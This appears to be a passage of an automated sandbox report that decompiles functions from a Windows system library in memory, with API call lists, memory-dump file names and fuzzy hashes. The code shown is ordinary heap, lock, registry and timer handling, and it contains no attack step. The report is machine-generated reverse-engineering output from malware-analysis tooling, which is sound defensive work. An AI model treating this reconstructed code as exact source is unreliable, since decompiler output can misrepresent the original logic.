				if(_t82 == 0 || _t82 ==  *0x6d3386c0 || _t82 ==  *0x6d3386b8 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E6D3188F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E6D29D130(_t68, _t82, _t84);
				} else {
					E6D262280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E6D3188F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E6D28AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x6d33b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x6d3384c0;
										if(_t69 >=  *0x6d3384c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E6D319063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E6D24922A(_t82);
							_t53 = E6D267D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E6D318B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) == 0) {
								goto L5;
							} else {
								__eflags = _t82 -  *0x6d3386c0;
								if(__eflags != 0) {
									__eflags = _t82 -  *0x6d3386b8;
									if(__eflags == 0) {
										_t79 = 0x6d3386bc;
										_t72 = 0x6d3386b8;
										L18:
										E6D279B82(_t68, _t72, _t79, _t82, _t84, __eflags);
										goto L5;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E6D249240(_t68, _t82, _t82, _t84, __eflags);
									}
									goto L5;
								}
								_t79 = 0x6d3386c4;
								_t72 = 0x6d3386c0;
								goto L18;
							}
						}
					}
				}
			}

0x6d249100
0x6d249100
0x6d249100
0x6d249100
0x6d249102
0x6d249107
0x6d24910c
0x6d249110
0x6d249115
0x6d249143
0x6d2a37e4
0x6d2a37e4
0x6d249149
0x6d24914e
0x6d249151
0x6d249158
0x6d24915d
0x6d249161
0x6d249168
0x6d2a3715
0x00000000
0x6d24916e
0x6d24916e
0x6d249175
0x6d249177
0x6d24917e
0x6d24917f
0x6d249182
0x6d249182
0x6d249187
0x6d249187
0x6d24918a
0x6d24918d
0x6d24918f
0x6d249192
0x6d249195
0x6d249198
0x6d249198
0x6d249198
0x6d24919a
0x00000000
0x00000000
0x6d2a371f
0x6d2a3721
0x6d2a3727
0x6d2a372f
0x6d2a3733
0x6d2a3735
0x6d2a3738
0x6d2a373b
0x6d2a373d
0x6d2a3740
0x00000000
0x00000000
0x6d2a3746
0x6d2a3749
0x00000000
0x00000000
0x6d2a374f
0x6d2a3751
0x00000000
0x00000000
0x6d2a3757
0x6d2a3759
0x6d2a375c
0x6d2a375c
0x6d2a375e
0x6d2a375e
0x6d2a3761
0x6d2a3764
0x00000000
0x00000000
0x6d2a3766
0x6d2a3768
0x6d2a37a3
0x6d2a37a3
0x6d2a37a5
0x6d2a37a7
0x6d2a37ad
0x6d2a37b0
0x6d2a37b2
0x6d2a37bc
0x6d2a37c2
0x6d2a37c2
0x6d2a37b2
0x6d249187
0x6d249187
0x6d24918a
0x6d24918d
0x6d24918f
0x6d249192
0x6d249195
0x00000000
0x6d249195
0x00000000
0x6d249187
0x6d2a376a
0x6d2a376a
0x6d2a376c
0x6d2a376c
0x6d2a376f
0x6d2a3775
0x00000000
0x00000000
0x6d2a3777
0x6d2a3779
0x00000000
0x00000000
0x6d2a3782
0x6d2a3787
0x6d2a3789
0x6d2a3790
0x6d2a3790
0x6d2a378b
0x6d2a378b
0x6d2a378b
0x6d2a3792
0x6d2a3795
0x6d2a3795
0x6d2a3798
0x6d2a3798
0x6d2a379b
0x6d2a379b
0x6d2491a3
0x6d2491a9
0x6d2491b0
0x6d2491b4
0x6d2491b4
0x6d2491bb
0x6d2491c0
0x6d2491c5
0x6d2491c7
0x6d2a37da
0x6d2491cd
0x6d2491cd
0x6d2491cd
0x6d2491d2
0x6d2491d5
0x6d249239
0x6d249239
0x6d2491d7
0x6d2491db
0x00000000
0x6d2491e1
0x6d2491e1
0x6d2491e7
0x6d2491fd
0x6d249203
0x6d24921e
0x6d249223
0x6d2491f3
0x6d2491f3
0x00000000
0x6d2491f3
0x6d249205
0x6d249208
0x6d24920c
0x6d249214
0x6d249214
0x00000000
0x6d24920c
0x6d2491e9
0x6d2491ee
0x00000000
0x6d2491ee
0x6d2491db
0x6d249187
0x6d249168

APIs

RtlAcquireSRWLockExclusive.1105(?,6D31F6E8,0000002C,6D29E530,00000000,?,6D3201C0,00000010,6D31810C,00000000,00000000,00000000,00000000,6D3386C4,6D3386C4,00000008), ref: 6D249158
ZwShutdownWorkerFactory.1105(?,?), ref: 6D249182
RtlGetCurrentServiceSessionId.1105 ref: 6D2491C0

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: 50f9dcff5f06f6848633de430d8656370b8663acd2bf22c910d0697e33501cb5
Instruction ID: f8f6a6f55215599d2489223cc2baaf809bb7e6cb9dcb9f0977366833c7f7a180
Opcode Fuzzy Hash: 50f9dcff5f06f6848633de430d8656370b8663acd2bf22c910d0697e33501cb5
Instruction Fuzzy Hash: 9451E6B599868F9FDB1ACF69CA48B6DB7B5BBCD314F15C12DC91897240C3309850CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D24F018, Relevance: 6.1, APIs: 4, Instructions: 95
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D24F018(intOrPtr __ecx, void* __edx, intOrPtr* _a4, void* _a8, int* _a12) {
				long _v8;
				intOrPtr _v12;
				signed int _v16;
				int _t20;
				long _t21;
				int _t28;
				void* _t32;
				void* _t34;
				intOrPtr _t35;
				intOrPtr* _t36;
				void* _t39;
				void* _t40;
				int* _t41;

				_t35 = __ecx;
				_t41 = _a12;
				_t39 = __edx;
				_v12 = __ecx;
				if(_a8 == 0) {
					if(_t41 != 0) {
						L2:
						_t20 =  *_t41;
						L3:
						_v16 = _v16 & 0x00000000;
						_t21 = _t20 + 0xc;
						_v8 = _t21;
						if(_t21 == 0) {
							_t34 = 0;
						} else {
							_t32 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t21);
							_t35 = _v12;
							_t34 = _t32;
							_t21 = _v8;
						}
						if(_t34 == 0) {
							_t40 = 0xc000009a;
							goto L16;
						} else {
							_push( &_v16);
							_push(_t21);
							_push(_t34);
							_push(2);
							_push(_t39);
							_push(_t35);
							_t40 = E6D289650();
							if(_t40 == 0xc0000034) {
								L13:
								if(_t40 >= 0) {
									L20:
									if(_t41 != 0) {
										 *_t41 =  *(_t34 + 8);
									}
									_t36 = _a4;
									if(_t36 != 0) {
										 *_t36 =  *((intOrPtr*)(_t34 + 4));
									}
									L15:
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t34);
									L16:
									return _t40;
								}
								L14:
								if(_t40 == 0x80000005) {
									goto L20;
								}
								goto L15;
							}
							if(_t40 < 0) {
								goto L14;
							}
							if(_a8 == 0 || _t41 == 0) {
								goto L13;
							} else {
								_t28 =  *(_t34 + 8);
								if(_t28 >  *_t41) {
									_t40 = 0x80000005;
									goto L20;
								} else {
									if(_t28 <= _v8) {
										_t14 = _t34 + 0xc; // 0xc
										memcpy(_a8, _t14, _t28);
									}
									goto L13;
								}
							}
						}
					}
					_t20 = 0;
					goto L3;
				}
				if(_t41 == 0) {
					return 0xc000000d;
				}
				goto L2;
			}

0x6d24f018
0x6d24f026
0x6d24f02a
0x6d24f02c
0x6d24f02f
0x6d24f0dd
0x6d24f03d
0x6d24f03d
0x6d24f03f
0x6d24f03f
0x6d24f043
0x6d24f046
0x6d24f049
0x6d2a59a5
0x6d24f04f
0x6d24f05b
0x6d24f060
0x6d24f063
0x6d24f065
0x6d24f065
0x6d24f06a
0x6d2a59ac
0x00000000
0x6d24f070
0x6d24f073
0x6d24f074
0x6d24f075
0x6d24f076
0x6d24f078
0x6d24f079
0x6d24f07f
0x6d24f087
0x6d24f0b3
0x6d24f0b5
0x6d24f0ea
0x6d24f0ec
0x6d24f0f1
0x6d24f0f1
0x6d24f0f3
0x6d24f0f8
0x6d24f0fd
0x6d24f0fd
0x6d24f0bf
0x6d24f0cb
0x6d24f0d0
0x00000000
0x6d24f0d0
0x6d24f0b7
0x6d24f0bd
0x00000000
0x00000000
0x00000000
0x6d24f0bd
0x6d24f08b
0x00000000
0x00000000
0x6d24f091
0x00000000
0x6d24f097
0x6d24f097
0x6d24f09c
0x6d24f101
0x00000000
0x6d24f09e
0x6d24f0a1
0x6d24f0a4
0x6d24f0ab
0x6d24f0b0
0x00000000
0x6d24f0a1
0x6d24f09c
0x6d24f091
0x6d24f06a
0x6d24f0e3
0x00000000
0x6d24f0e3
0x6d24f037
0x00000000
0x6d2a599b
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6D24F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0CB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: f6b9efe4b52a4856d400988c6c8340c43cb80f0ce6ef2e524c0764acaf3af869
Instruction ID: dbf87a0759b59a7dc83e8273d8425d050e1e93433fb798a8b6abcee88bf4f12d
Opcode Fuzzy Hash: f6b9efe4b52a4856d400988c6c8340c43cb80f0ce6ef2e524c0764acaf3af869
Instruction Fuzzy Hash: 8B31C23269450EABE715CE88C880F6B73B9EBC4716F25C029ED149B209E371DD40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D246730, Relevance: 6.1, APIs: 4, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D246730(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _v24;
				void* _v40;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t32;
				char* _t35;
				char* _t42;
				char* _t51;
				void* _t52;
				signed int _t67;
				void* _t68;
				void* _t71;
				signed int _t73;

				_t75 = (_t73 & 0xfffffff8) - 0xc;
				_v8 =  *0x6d33d360 ^ (_t73 & 0xfffffff8) - 0x0000000c;
				_t70 = _a8;
				_t67 = _a8 - 0x78;
				_t32 = E6D267D50();
				_t51 = 0x7ffe0386;
				if(_t32 != 0) {
					_t35 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t35 = 0x7ffe0386;
				}
				if( *_t35 != 0) {
					E6D3189E7( *((intOrPtr*)(_t67 + 0x5c)), _t70,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
				}
				_t64 = _t67;
				if(E6D2795EC(_a4, _t67, 1) != 0) {
					if(E6D267D50() != 0) {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t42 = _t51;
					}
					if( *_t42 != 0) {
						E6D319CB3( *((intOrPtr*)(_t67 + 0x5c)), _t70,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					}
					_t64 =  *((intOrPtr*)(_t67 + 0x30));
					E6D26C677(_t75 + 0x14,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					 *0x6d33b1e0(_a4,  *((intOrPtr*)(_t67 + 0x34)));
					 *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x30))))();
					if(E6D267D50() != 0) {
						_t51 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					}
					if( *_t51 != 0) {
						_t64 = _a8;
						E6D318ADD( *((intOrPtr*)(_t67 + 0x5c)), _a8,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					}
					_t37 = E6D26C5F8( *((intOrPtr*)(_t75 + 0x10)));
				}
				_pop(_t68);
				_pop(_t71);
				_pop(_t52);
				return E6D28B640(_t37, _t52, _v8 ^ _t75, _t64, _t68, _t71);
			}

0x6d246738
0x6d246742
0x6d246748
0x6d24674c
0x6d24674f
0x6d246754
0x6d24675b
0x6d2a1aac
0x6d246761
0x6d246761
0x6d246761
0x6d246766
0x6d2a1ac4
0x6d2a1ac4
0x6d24676f
0x6d24677a
0x6d246783
0x6d2a1ad7
0x6d246789
0x6d246789
0x6d246789
0x6d24678e
0x6d2a1aef
0x6d2a1aef
0x6d246797
0x6d2467a1
0x6d2467b1
0x6d2467b7
0x6d2467c0
0x6d2a1b02
0x6d2a1b02
0x6d2467c9
0x6d2a1b10
0x6d2a1b1c
0x6d2a1b1c
0x6d2467d3
0x6d2467d3
0x6d2467dc
0x6d2467dd
0x6d2467de
0x6d2467e9

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6D24674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6D24677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6D2467B1
RtlGetCurrentServiceSessionId.1105 ref: 6D2467B9

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 4252025ede775bfa9ae96cc4fe0324e6098a346c24137643b0e2e875dc86fbaf
Instruction ID: 13c09c49686f4cd30a33abe49eb5d0668504e2e5e66c67589b33973e90ac2eb7
Opcode Fuzzy Hash: 4252025ede775bfa9ae96cc4fe0324e6098a346c24137643b0e2e875dc86fbaf
Instruction Fuzzy Hash: 1631E1356A8A4ABFDB069F24CE80E99BBA2FF44764F01D065ED0047A60D731E870CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6D271DB5, Relevance: 6.1, APIs: 4, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E6D271DB5(intOrPtr __ecx, void** __edx, long* _a4) {
				long _v8;
				intOrPtr _v12;
				void* _v16;
				void** _v20;
				void* _t22;
				long _t23;
				void* _t36;
				void* _t42;
				long _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = L6D26F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					if(_t23 >  *_a4) {
						_t42 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(L6D26F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x6d271dc2
0x6d271dc5
0x6d271dc7
0x6d271dcc
0x6d271dce
0x6d271dd6
0x6d271ddf
0x6d271de0
0x6d271de1
0x6d271de5
0x6d271de8
0x6d271def
0x6d271df0
0x6d271df6
0x6d271df7
0x6d271dfe
0x6d271e1a
0x00000000
0x00000000
0x6d271e0b
0x6d271e12
0x6d271e12
0x6d271e00
0x6d271e00
0x6d271e05
0x6d271e23
0x6d2b570f
0x6d2b5713
0x00000000
0x00000000
0x6d2b5719
0x6d2b5719
0x6d271e2c
0x6d271e2d
0x6d271e2e
0x6d271e2f
0x6d271e31
0x6d271e32
0x6d271e35
0x6d271e3d
0x6d2b5723
0x6d2b573d
0x6d2b573d
0x00000000
0x6d2b5723
0x6d271e49
0x6d271e4e
0x6d271e4e
0x6d271e09
0x00000000

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6D271DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6D271E36

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 5a03d3c2911045e952f6a401eb4af147cc802d2481365638b4dcf031f92e2a11
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: BC21913169021DEFD732CF59CC90E6BBBB9FF85645F215065EA1097210D6349E81C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D31F1B5, Relevance: 6.1, APIs: 4, Instructions: 78
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D31F1B5(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a4, void* _a8, int* _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int* _t32;
				intOrPtr* _t34;
				void* _t36;
				long _t38;
				void* _t39;

				_v8 = _v8 & 0x00000000;
				_t32 = _a12;
				_v12 = __edx;
				_v16 = __ecx;
				if(_t32 != 0) {
					_t38 =  *_t32 + 0xc;
					_t36 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t38);
					if(_t36 != 0) {
						_t39 =  *0x6d226cd4(_v16, _v12, 2, _t36, _t38,  &_v8);
						if(_t39 < 0) {
							L12:
							if(_t39 == 0x80000005 || _t39 == 0xc0000023) {
								L14:
								_t39 = 0xc0000023;
								 *_t32 =  *(_t36 + 8);
								goto L15;
							} else {
								L15:
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t36);
								return _t39;
							}
						}
						_t26 =  *(_t36 + 8);
						if(_t26 != 0) {
							if(_t26 >  *_t32) {
								goto L14;
							}
							 *_t32 = _t26;
							if(_a8 != 0) {
								_t12 = _t36 + 0xc; // 0xc
								memcpy(_a8, _t12, _t26);
							}
							_t34 = _a4;
							if(_t34 != 0) {
								 *_t34 =  *((intOrPtr*)(_t36 + 4));
							}
							goto L12;
						}
						_t39 = 0xc000000d;
						goto L15;
					}
					return 0xc000009a;
				}
				return 0xc000000d;
			}

0x6d31f1bd
0x6d31f1c2
0x6d31f1c5
0x6d31f1c8
0x6d31f1cf
0x6d31f1e3
0x6d31f1f1
0x6d31f1f5
0x6d31f212
0x6d31f216
0x6d31f24e
0x6d31f254
0x6d31f25e
0x6d31f261
0x6d31f266
0x00000000
0x6d31f268
0x6d31f268
0x6d31f274
0x00000000
0x6d31f279
0x6d31f254
0x6d31f218
0x6d31f21d
0x6d31f228
0x00000000
0x00000000
0x6d31f22e
0x6d31f230
0x6d31f233
0x6d31f23a
0x6d31f23f
0x6d31f242
0x6d31f247
0x6d31f24c
0x6d31f24c
0x00000000
0x6d31f247
0x6d31f21f
0x00000000
0x6d31f21f
0x00000000
0x6d31f1f7
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,-0000000B,00000002,00000001,00000000,6D27FE70,00000000), ref: 6D31F1EC

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fdeb83ceacb1d188185a91360df413cef14ba69bf254facb07b8a6698a397167
Instruction ID: ae7f04f1ae32e585c55219e91725000638b52d198a21519a44e94ebbf131b111
Opcode Fuzzy Hash: fdeb83ceacb1d188185a91360df413cef14ba69bf254facb07b8a6698a397167
Instruction Fuzzy Hash: A721D37BA08A16ABDB158F49CC84F9ABBB8FF46790F018175EE049B250D331DD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2718B9, Relevance: 6.1, APIs: 4, Instructions: 75
nativetimeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6D2718B9(intOrPtr __ecx, intOrPtr __edx, signed char _a4) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t27;
				intOrPtr* _t37;
				intOrPtr _t42;
				intOrPtr* _t43;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t53;

				_t50 = __ecx;
				_v12 = __edx;
				_push(0x100002);
				_v16 = __ecx;
				_push(8);
				_push(0);
				_push(0);
				_t3 = _t50 + 0x10; // 0x58
				_t52 = _t3;
				 *((intOrPtr*)(__ecx)) = 0;
				_push(_t52);
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				_t27 = E6D28A0D0();
				if(_t27 >= 0) {
					_push(0);
					_t7 = _t50 + 0x14; // 0x5c
					_push(1);
					_t42 = E6D28A130();
					_v20 = _t42;
					if(_t42 < 0) {
						_push( *_t52);
						E6D2895D0();
						return _t42;
					}
					_t45 = _v12;
					_push( &_v5);
					_t12 = _t50 + 0x18; // 0x60
					_t43 = _t12;
					_push(_a4 & 0x000000ff);
					_push(0);
					_push(_t45 + 0x40);
					_push(_t43);
					_push( *_t52);
					_push( *((intOrPtr*)(_t45 + 0x28)));
					_push( *((intOrPtr*)(__ecx + 0x14)));
					E6D289DE0();
					_t17 = _t50 + 0x3c; // 0x84
					_t53 = _t17;
					 *((intOrPtr*)(__ecx + 0x38)) = 0x6d26af60;
					_t51 = __ecx + 0x40;
					E6D26F194(_v12, _t53, _t51);
					_t47 = _v16;
					 *(_t47 + 0x2c) =  *(_t47 + 0x2c) & 0x00000000;
					_t22 = _t47 + 0x30; // 0x30
					_t37 = _t22;
					 *((intOrPtr*)(_t37 + 4)) = _t37;
					 *_t37 = _t37;
					 *((intOrPtr*)(_t47 + 0x1c)) =  *_t53;
					 *((char*)(_t47 + 0x20)) =  *_t51;
					 *_t43 = 0x6d2211f4;
					return _v20;
				}
				return _t27;
			}

0x6d2718c4
0x6d2718c6
0x6d2718c9
0x6d2718d0
0x6d2718d3
0x6d2718d5
0x6d2718d6
0x6d2718d7
0x6d2718d7
0x6d2718da
0x6d2718dc
0x6d2718dd
0x6d2718e0
0x6d2718e3
0x6d2718e6
0x6d2718ed
0x6d2718ef
0x6d2718f0
0x6d2718f3
0x6d2718fb
0x6d2718fd
0x6d271902
0x6d2b568e
0x6d2b5690
0x00000000
0x6d2b5695
0x6d271908
0x6d27190e
0x6d271913
0x6d271913
0x6d271916
0x6d271917
0x6d27191c
0x6d27191d
0x6d27191e
0x6d271920
0x6d271923
0x6d271926
0x6d27192e
0x6d27192e
0x6d271931
0x6d27193a
0x6d27193e
0x6d271943
0x6d271946
0x6d27194a
0x6d27194a
0x6d27194d
0x6d271950
0x6d271954
0x6d271959
0x6d27195f
0x00000000
0x6d27195f
0x6d27196b

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6D2718E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6D2718F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6D271926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6D2B5690

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: b4282c10171d0c882103889aa1f6ec3692dd417e49b1cf2b2195b08381a03da3
Instruction ID: 8135363a15e4a440ba05530eb94a65d0110c71194ee28730770fd04ac24b4b0c
